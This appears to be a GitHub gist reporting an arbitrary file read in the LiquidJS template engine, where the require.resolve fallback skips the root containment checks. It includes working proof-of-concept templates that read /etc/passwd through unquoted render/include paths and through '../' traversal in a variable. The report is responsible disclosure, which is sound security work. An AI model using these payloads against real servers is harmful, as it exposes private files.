Skip to content

Instantly share code, notes, and snippets.

@peaktwilight
Last active March 7, 2026 07:28
Show Gist options
  • Select an option

  • Save peaktwilight/2cdd519f486c567bca1e70999e7b1ecc to your computer and use it in GitHub Desktop.

Select an option

Save peaktwilight/2cdd519f486c567bca1e70999e7b1ecc to your computer and use it in GitHub Desktop.
Security: LiquidJS arbitrary file read via require.resolve fallback bypass

Security Vulnerability: Arbitrary File Read via require.resolve Fallback Bypass

Summary

LiquidJS's root, relativeReference, and contains() path containment checks can be fully bypassed via the require.resolve fallback in loader.ts. This allows reading any file on the server that the Node.js process has access to.

Affected versions: LiquidJS 10.24.0 (latest) and likely all versions with the require.resolve fallback Severity: High (arbitrary file read) CWE: CWE-98 (Improper Control of Filename for Include), CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine)

Existing Fix (Unmerged)

PR #851 by @MorielHarush already has the correct fix for this — adding the enforceRoot/contains() check to the fallback block. It has been open since Feb 17 2026 and is currently unmerged.

I independently discovered the same root cause through a different attack vector (unquoted absolute paths with dynamicPartials: false), which confirms the issue is exploitable from multiple angles. The fix in PR #851 would cover both vectors.

Real-world Impact

I've been in contact with maintainers of popular open-source projects that depend on LiquidJS and render user-controlled templates. They have confirmed the issue on their end. Projects that rely on root/relativeReference as security boundaries are currently exposed — and LiquidJS has a significant number of dependents on npm. I'm holding off on specifics until this is patched, but the impact is not theoretical.

Root Cause

The file resolution generator *candidates in loader.ts (lines ~62-65) has a final fallback step that calls fs.fallback(file), which invokes require.resolve() without any contains() check:

// loader.ts — the fallback block lacks the enforceRoot/contains() check
// that the earlier resolution steps (lines 49 and 58) correctly apply
if (fs.fallback !== undefined) {
    const filepath = fs.fallback(file);
    if (filepath !== undefined) yield filepath;  // no contains() check!
}

The root/relativeReference/contains() mitigations only protect the earlier resolution steps. The fallback step has no containment validation at all.

Attack Vectors

Vector 1: Unquoted absolute paths (my finding)

With dynamicPartials: false, unquoted absolute paths bypass all containment:

const { Liquid } = require("liquidjs");
const engine = new Liquid({
    root: "./no-such-directory",
    relativeReference: false,
    dynamicPartials: false,
});
// Leaks the full file contents
engine.render(engine.parse("{% render /etc/passwd %}")).then(console.log);

Why quoted paths are blocked but unquoted are not: readFileNameTemplate() retains literal quote characters, so require.resolve('"/etc/passwd"') fails with MODULE_NOT_FOUND. Unquoted paths pass through cleanly.

Vector 2: Relative path traversal (PR #851's finding)

With dynamicPartials: true, relative traversal via a variable bypasses containment:

const { Liquid } = require("liquidjs");
const engine = new Liquid({ root: ["/tmp"], partials: ["/tmp"], dynamicPartials: true });
engine.parseAndRender("{% include page %}", { page: "../../../etc/passwd" }).then(console.log);

Test Results (LiquidJS 10.24.0, macOS/Linux)

Test Template Result
Unquoted render {% render /etc/passwd %} LEAKED (full file)
Quoted render {% render "/etc/passwd" %} Blocked (ENOENT)
Unquoted include {% include /etc/passwd %} LEAKED (full file)
Relative traversal {% include page %} with page: ../../../etc/passwd LEAKED (full file)

Both CJS and ESM entry points are affected.

CVE Request

I'd appreciate it if you could create a GitHub security advisory on the LiquidJS repository and request a CVE through GitHub's CNA process (there's a "Request CVE" button on the advisory form). I'd like to be credited as a reporter alongside @MorielHarush who independently found the same root cause. My GitHub handle is @peaktwilight. Happy to be added as a collaborator on the advisory.

Timeline

  • 2026-02-17: PR #851 opened by @MorielHarush with fix for relative path traversal vector
  • 2026-03-02: I independently discover the same root cause via unquoted absolute paths
  • 2026-03-07: Confirmed on LiquidJS 10.24.0 (latest); confirmed by maintainers of affected downstream projects; reported upstream

Reporter

This report is being shared per LiquidJS's SECURITY.md disclosure policy.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment